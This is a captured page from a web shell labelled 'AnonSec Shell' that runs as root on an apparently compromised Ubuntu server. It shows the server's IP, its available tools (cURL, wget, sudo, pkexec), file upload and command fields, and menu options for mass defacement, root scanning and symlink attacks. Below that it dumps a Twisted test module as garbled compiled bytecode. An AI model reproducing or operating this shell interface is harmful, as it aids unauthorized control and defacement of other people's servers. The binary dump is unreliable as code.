AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/conch/test/__pycache__/test_manhole_tap.cpython-310.pyc
o

�b��@s�dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZed
�Zed�ZerFerFddlmZmZGd
d�de�ZdS)z)
Tests for L{twisted.conch.manhole_tap}.
�)�StreamServerEndpointService)�MultiService)�telnet)�error)�UsernamePassword)�usage)�
requireModule)�TestCase�cryptography�pyasn1)�manhole_ssh�manhole_tapc@sLeZdZdZes
dZesdZdZdd�Zdd�Z	d	d
�Z
dd�Zd
d�ZdS)�MakeServiceTestsz/
    Tests for L{manhole_tap.makeService}.
    zcan't run without cryptographyzCannot run without PyASN1)siamusersthisispasswordcCsV|��|_t|jd��}|�d�|j��Wd�n1swYt��|_dS)z8
        Create a passwd-like file with a user.
        �wb�:N)	�mktemp�filename�open�write�join�usernamePasswordr
�Options�options)�self�f�r�E/usr/lib/python3/dist-packages/twisted/conch/test/test_manhole_tap.py�setUp%s

�zMakeServiceTests.setUpcCsR|�tj��}t���g�Wd�n1swY|�|jjdd�dS)zk
        L{manhole_tap.makeService} requires either 'telnetPort' or 'sshPort' to
        be given.
        Nrz<At least one of --telnetPort and --sshPort must be specified)	�assertRaisesr�
UsageErrorr
r�parseOptions�assertEqual�	exception�args)r�errr�test_requiresPort.s�
�z"MakeServiceTests.test_requiresPortcCs~|j�ddg�t�|j�}|�|t�|�t|j�d�|�|jdt	�|�|jdj
jtj�|�|jdj
jd�dS)z�
        L{manhole_tap.makeService} will make a telnet service on the port
        defined by C{--telnetPort}. It will not make a SSH service.
        �--telnetPortztcp:222�r��N)rr r
�makeService�assertIsInstancerr!�len�servicesr�factory�protocol�makeTelnetProtocol�endpoint�_port�r�servicerrr�test_telnetPort;s�z MakeServiceTests.test_telnetPortcCs�|j�d|��ddddg�t�|j�}|�|t�|�t|j	�d�|�|j	dt
�|�|j	djtj
�|�|j	djjd�d	S)
z�
        L{manhole_tap.makeService} will make a SSH service on the port
        defined by C{--sshPort}. It will not make a telnet service.
        z--sshKeyDirz--sshKeySize�512z	--sshPortztcp:223r'r��N)rr rr
r)r*rr!r+r,rr-r�ConchFactoryr0r1r2rrr�test_sshPortJs��
zMakeServiceTests.test_sshPortc	Cs�|j�ddd|jg�t�|j�}|jdjjj}|�	t
|j���d�|�
|�|�t|j�dtj���|�|�|�tdd�dtj��jtj�dS)	zS
        The C{--passwd} command-line option will load a passwd-like file.
        r&ztcp:22z--passwdr�Nswrongsuser)rr rr
r)r,r-r.�portalr!r+�checkers�keys�
assertTrue�successResultOf�loginrrr�ITelnetProtocolr*�failureResultOf�valuer�UnauthorizedLogin)rr3r:rrr�test_passwdcs,���	���zMakeServiceTests.test_passwdN)
�__name__�
__module__�__qualname__�__doc__r
�skiprrrr%r4r8rDrrrrrs	
rN)rH�twisted.application.internetr�twisted.application.servicer�
twisted.conchr�twisted.credr�twisted.cred.credentialsr�twisted.pythonr�twisted.python.reflectr�twisted.trial.unittestr	r
rrr
rrrrr�<module>s

Anon7 - 2022
AnonSec Team